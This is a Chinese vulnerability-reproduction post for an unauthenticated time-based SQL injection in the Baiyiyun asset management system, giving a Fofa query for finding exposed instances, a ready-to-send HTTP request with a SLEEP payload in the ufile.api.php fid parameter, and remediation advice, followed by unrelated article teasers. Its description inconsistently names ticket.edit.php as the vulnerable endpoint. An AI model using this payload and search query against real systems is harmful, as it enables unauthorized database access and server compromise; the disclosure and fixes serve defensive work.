百易云资产管理运营系统 ufile.api.php SQL注入漏洞复现

devtools/2024/10/20 1:04:16/

0x01 产品描述:

        百易云资产管理运营系统,是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全生命周期管理,包括资产的登记、盘点、评估、处置等多个环节,同时提供强大的运营分析功能,帮助企业优化资产配置,提升运营效率。

0x02 漏洞描述:

        百易云资产管理运营系统 ticket.edit.php 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x03 搜索语句:

Fofa:body="不要着急,点此"

0x04 漏洞复现:

GET /api/file/ufile.api.php?act=filedel&fid=1%20AND%20(SELECT%207357%20FROM%20(SELECT(SLEEP(3)))UPCw) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

执行两次 

0x05 修复建议:

  1. 使用预编译语句:采用参数化查询和预编译语句(如Prepared Statements),可以确保输入数据作为参数处理,从而避免直接插入到SQL语句中。

  2. 输入验证:对用户输入进行严格验证,确保只接收合法范围内的数据。可以使用白名单策略,过滤掉所有非法字符。

  3. 最小权限原则:数据库账户应仅授予执行所需操作的最低权限,避免使用高权限账户连接数据库。

  4. 错误信息处理:避免在前端展示详细的数据库错误信息,以免泄露系统结构和数据库信息。

  5. 使用Web应用防火墙(WAF):部署WAF可以实时监测和拦截可疑请求,提供第一道防线。


http://www.ppmy.cn/devtools/127150.html

相关文章

【达梦数据库】获取表字段信息SQL

在达梦数据库(DM Database)中,你可以通过查询系统视图来获取某个表的字段信息。具体来说,你可以使用 ALL_TAB_COLUMNS、USER_TAB_COLUMNS 或 DBA_TAB_COLUMNS 视图,具体取决于你的权限和需要查询的范围。 以下是获取某…

一文掌握异步web框架FastAPI(一)

目录 一、安装 FastAPI 和 Uvicorn(一个 ASGI 服务器): 1、ASGI 与 WSGI 2、Uvicorn 的特点 二、一个 简单的FastAPI 应用 ​编辑 三、路由参数与请求体 1. 基础路由 2. 路径参数和查询参数 3、请求体 1)JSON Data 2)multipart/form-data,用于处理文件上传和表单…

QT教程18-QPainterPath

目录 1. 基本概念 2. 创建和使用 QPainterPath 3. 添加基本图形元素 4. 组合路径 5. 路径的变换 6. 绘制路径 7. 常用方法 8. 示例:绘制一个复杂图形 9. 总结 QPainterPath 是 Qt 框架中的一个类,用于创建复杂的图形路径。它允许你定义一系列的…

利用高德API获取整个城市的公交路线并可视化(六)

记录于2024年10月,因数据获取受网站更新策略等影响可能会失效,故记录写作时间,书接上回,根据测试地铁线路也可以如法炮制,且地铁线路更少,实现起来更容易,本篇文章我们依然以厦门地铁作为示例。 先讲一下方法思路,一共四个步骤; 方法思路 高德开放平台的JS API 1.4 …

使用 Go 语言实现 WebSocket的核心逻辑

文章目录 WebSocket 简介时序图核心逻辑Client 结构与功能创建新客户端消息读取逻辑 (ReadPump)发送消息逻辑 (Send)客户端管理器 (ClientManager)WebSocket 处理器处理心跳与长连接 总结 本文将基于 Go 语言,通过使用 gorilla/websocket 库来实现一个简单的聊天应用…

未来汽车究竟该是什么样子?

24年10月14日,在中国(深圳)机器视觉展暨机器视觉技术及工业应用研讨会上,同行者分享了未来智能座舱应该长什么样子。 受此启发,个人觉得当前大多数新能源车都极力想做出电动感,但是布局传统没跳出来&#…

2063:【例1.4】牛吃牧草

【题目描述】 有一个牧场,牧场上的牧草每天都在匀速生长,这片牧场可供15头牛吃20天,或可供20头牛吃10天,那么,这片牧场每天新生的草量可供几头牛吃1天? 【输入】 (无) 【输出】 如题…

MySQL 9从入门到性能优化-二进制日志

【图书推荐】《MySQL 9从入门到性能优化(视频教学版)》-CSDN博客 《MySQL 9从入门到性能优化(视频教学版)(数据库技术丛书)》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) MySQL9数据库技术_夏天又到了…